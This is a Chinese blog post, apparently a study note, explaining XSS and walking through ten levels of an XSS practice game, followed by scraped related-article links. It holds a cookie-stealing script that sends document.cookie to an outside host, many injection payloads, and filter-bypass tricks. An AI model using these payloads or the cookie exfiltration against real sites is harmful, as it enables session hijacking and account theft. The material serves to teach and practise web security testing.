一.XSS

1.原理:攻击者把恶意的脚本代码注入到网页中,等待其他用户浏览

这些网页(或触发其他条件),从而执行其中的恶意代码。

1.xss实例代码:

test.html

<!DOCTYPE html>
<head>
<title>xss_test</title>
</head>
<body>
<form action="xss.php" method="post">
请输入你的名字<br>
<input type="text" name="name">
<input type="submit" value="提交">
</form>
</body>
</html>

xss.php

<!DOCTYPE html>

<head>
<meta charset="utf-8">
<title>测试结果</title>
</head>
<body>
<?php
echo $_POST['name'];
?>
</body>
</html>

获得cookie 脚本

cookie.php

<?php
$cookie = $_GET['cookie']."\n";
$cookie_f = fopen('cookie.txt','a');
fwrite($cookie_f,$cookie);
fclose($cookie_f);
?>

xss.js

<script>window.open('http://www.test.com/cookie.php?cookie='+document.cookie)</script>

xss分为3类

反射型xss

存储型xss

dom型xss

2.xss的payload

<!-- 基本类型-->
<script >alert('xss')</script>
<script >alert("xss")</script>
<script >alert(/xss/)</script>
<script >alert('xss');</script>
<!--      利用javascript伪协议     -->

<iframe src=javascript:alert('xss') ></iframe>
---------------------------------
<a href=javascript:alert('xss')>xxx</a>
两个a标签之间要加东西,不然看不到点击的地方
<!--     利用基本事件    -->
<img src="x" onerror= alert('xss')> //图片未找到
<img src="x" onload= alert('xss')> //图片正常显示
<img src="x" onclick= alert('xss')>
事件 含义
onclick 鼠标单击
onchange 内容发生改变
onerror 图片等未找到时
onload 页面加载
onmouseover 鼠标悬停
onmouseout 鼠标移出
onmousemove 鼠标路过

onchange 用在 input 标签

<input type="text" onchange=alert('xss')>

3.xss 的一些绕过

--标签的属性支持javascript:[code]伪协议

利用空字符
常用字符:【空格】【回车】【Tab】键位符
应用场景:对JavaScript关键字过了过滤

-- 扰乱过滤规则

1)大小写混合
<sCRipt>alert('xss')</script>
2)引号的使用
<script>alert('xss')</script>
<script>alert("xss")</script>
<script>alert(/xss/)</script>
3)<iframe/src=javascript:alert(1)>
4)双写
<scr<script>ipt>alert(1111)</scr</script>ipt>

小tips

%0a用做换行使的input标签语法正确,主要是因为过滤了“>”
// js的注释

二.实战xss挑战之旅

1.第一题(无过滤措施)

首先在地址后输入我们最基本的payload,弹窗



还可以

利用 iframe 标签的的 src 属性来弹窗
<iframe src=javascript:alert('xss')></iframe> 利用标签的 href 属性来弹窗
<a href=javascript:alert('xss')>ggtest</a>
这里就是超链接到了:javascript:alert('xss')
效果和浏览器直接打开这个地址:javascript:alert('xss')是一样的
这里还可以使用:javascript:alert(document.cookie) 来弹出当前会话的 cookie img标签来弹窗
<img src=1 onerror=alert('xss')>

2.第二题

在次尝试输入基本的payload,看到没有



右键查看源代码,搜索我们刚输入的东西,看过滤了什么



呗代码复制出来,构造payload,在input 标签里,首先想到onchange事件

<input name=keyword  value="<script >alert('xss')</script>">

" onchange =alert(111) <"



还可以

"><script>alert(222)</script> <"

3.第三关

一样操作,看源代码,构造payload



过滤了尖括号

" onchange=alert(1111) /<"

' onchange='alert(/111/)

这个刚学到的,可能对< " 过滤有帮助

' onclick=alert(1)%0a

%0a用做换行使的input标签语法正确,主要是因为过滤了“>”。

4.第四关

<input name=keyword  value="111">
" onchange=alert(555)<"

5.第五关



过滤了script



还过滤了on事件

只能利用javascript伪协议

"><a href=javascript:alert(111)>

6.第六关







基本全过滤

尝试大小写绕过

"><img sRc=x onError="alert(/xss/)

这样还不行,看源码,on过滤,试了一下on大写,成功

"><img sRc=x OnError="alert(/xss/)

7.第七关

<input name=keyword  value="456">
尝试以下
<input name=keyword value="" Onchange=alert(123) id="">

不行,过滤on想到用伪协议



想到伪协议的绕过tab 空格 还是不行,尴尬,看上边过滤是直接把on消失,试试复写。

" Oonnchange=alert(123) id="

第八关

</center><center><BR><a href="1111">友情链接</a></center><center><img src=level8.jpg></center>

a标签,href直接使用伪协议

javascript:alert(1111)



尝试tab

按键 url编码
tab %09
enter %0A
space %20



--又有一方法 html10进制编码payload



第九关





尝试伪协议



并没有弹,应该是/问题,这有一个思路是把http://放到alert里

javascri	pt:alert('http://')
//tab



编码

第十关

一脸懵逼,没有输入输出点啊



还是没有输出点,通过观察发现有3个隐藏的输入input,构造下看看有没有输出

http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=3

发现t_sort参数有东西,窃喜。。

<input name="t_sort"  value="3" type="hidden">
构造
http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=" onmousemove=alert(111) id="

~绕过hidden属性的影响

http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=" onmosemove=alert(111) type="text"

XSS----payload,绕过,xss小游戏记录的更多相关文章

  1. cocos creator开发微信小游戏记录

    先用cocoscreator实现游戏逻辑 在cocoscreator项目里可以调用微信小游戏api 在cocos里面判断小游戏的运行环境 if (cc.sys.platform === cc.sys. ...

  2. 记录一次有意思的XSS过滤绕过2

    前几天在漏洞挖掘中遇到个xss,感觉绕过过程蛮有意思的,写篇文章记录下. 接下里是我对这个xss详细的分析和绕过 存在问题站点http://******/index/appInfo?appId=784 ...

  3. xss games20关小游戏附源代码

    1. get方式的的值直接输出来了. ?name=<script>alert(1)</script> 2. 同样没有过滤,不过需要闭合前边的双引号和>. "&g ...

  4. xss小游戏通关

    xss url:http://test.ctf8.com/level1.php?name=test 小游戏payload: <script>alert("'test'" ...

  5. 记录一次有意思的XSS过滤绕过

    我的朋友赵一天今晚给我发了一个站,跟我说他xss绕不过去,让我试试.我正好无事,就帮她看看咯. 通过赵一天发我的站点,说实话,我自己学到了很多东西,感谢大佬的教诲.今天分享出来: 站点:xxx.com ...

  6. XSS小游戏

    第一关 直接在URL输入 ?name=<script>alert('xss')</script> 第二关 找源码,输入test,value值变为test,我们可以在输入框尝试x ...

  7. xss小游戏源码分析

    配置 下载地址:https://files.cnblogs.com/files/Lmg66/xssgame-master.zip 使用:下载解压,放到www目录下(phpstudy),http服务下都 ...

  8. XSS Payload知识备忘

    参考资料:<白帽子讲Web安全>吴翰清 著 参见: 百度百科 http://baike.baidu.com/view/50325.htm 维基百科 http://zh.wikipedia. ...

  9. xssless - 自动化的XSS payload攻击器

    XSSLESS 一个用Python编写的自动化XSS 负载(payload)攻击器 用法: 记录请求 并结合Burp proxy 选择你想生成的请求,然后右键选择“保存项目” 使用xssless生成你 ...

随机推荐

  1. Linux(十一) 文件目录权限 chmod umask chown

    一 文件目录权限定义 首先我们先认识一下文件目录的权限定义,请看下面ls -l的结果我们发现一个文件或者目录的前面有10位的信息,第一位表示文件类型,大概有一下几种类型:d 表示目录 - 普通文件 b ...

  2. centos7修改主机名和ip映射

    1.修改主机名:命令:/etc/hostname文件输入:HOSTNAME=node3想永久修改,应该修改配置文件 /etc/sysconfig/network. 输入:NETWORKING=yes ...

  3. 关于WEB的URL安全测试

    测试思路: 对WEB做个简单的安全测试,主要是针对URL的测试. 回想起来,这次测试本质可以归为“权限”的测试,如下: 案例1: 1.分别开两个浏览器,以两个不同的帐号登陆web后台 2.第一个浏览器 ...

  4. java基本方法

    Java 方法 在前面几个章节中我们经常使用到 System.out.println(),那么它是什么呢? println() 是一个方法. System 是系统类. out 是标准输出对象. 这句话 ...

  5. Unity 游戏框架搭建 (二十一) 使用对象池时的一些细节

    上篇文章使用SafeObjectPool实现了一个简单的Msg类.代码如下: class Msg : IPoolAble,IPoolType { #region IPoolAble 实现 public ...

  6. 用 crontab 实现开机自动运行脚本

    开发「bufpay.com 个人即时到账收款平台」的时候,订单状态和支付二维码的状态如果过期了要实时修改状态,最大效率利用支付二维码. 过期脚本需要开机启动,并且 deamon 运行,有很多办法可以开 ...

  7. MySQL索引的使用及注意事项

    索引是存储引擎用于快速找到记录的一种数据结构.索引优化应该是对查询性能优化最有效的手段了.索引能够轻易将查询性能提高几个数量级,"最优"的索引有时比一个"好的" ...

  8. 第一课、安装登录CentOS7

    一.学习之初 1.学习这个课程的目的是,高薪就业,搞运维. 2.应该在宁波发展. 3.大概给自己定的计划是4个月能学习2遍. 4.学好之后就跳槽. 5.2年左右的时间要达到1.5W争取. 学习方法: ...

  9. Spring总结以及在面试中的一些问题

    Spring总结以及在面试中的一些问题. 1.谈谈你对spring IOC和DI的理解,它们有什么区别? IoC Inverse of Control 反转控制的概念,就是将原本在程序中手动创建Use ...

  10. AML与PIO整合问题

    要想把PIO引擎封装成AML组件,面临如下问题(逐渐补充): 1)版本不兼容 内容项 AML PIO 选型 兼容? JDK 1.7 1.8 1.8 是 SPARK 1.6.1 2.1.1     HA ...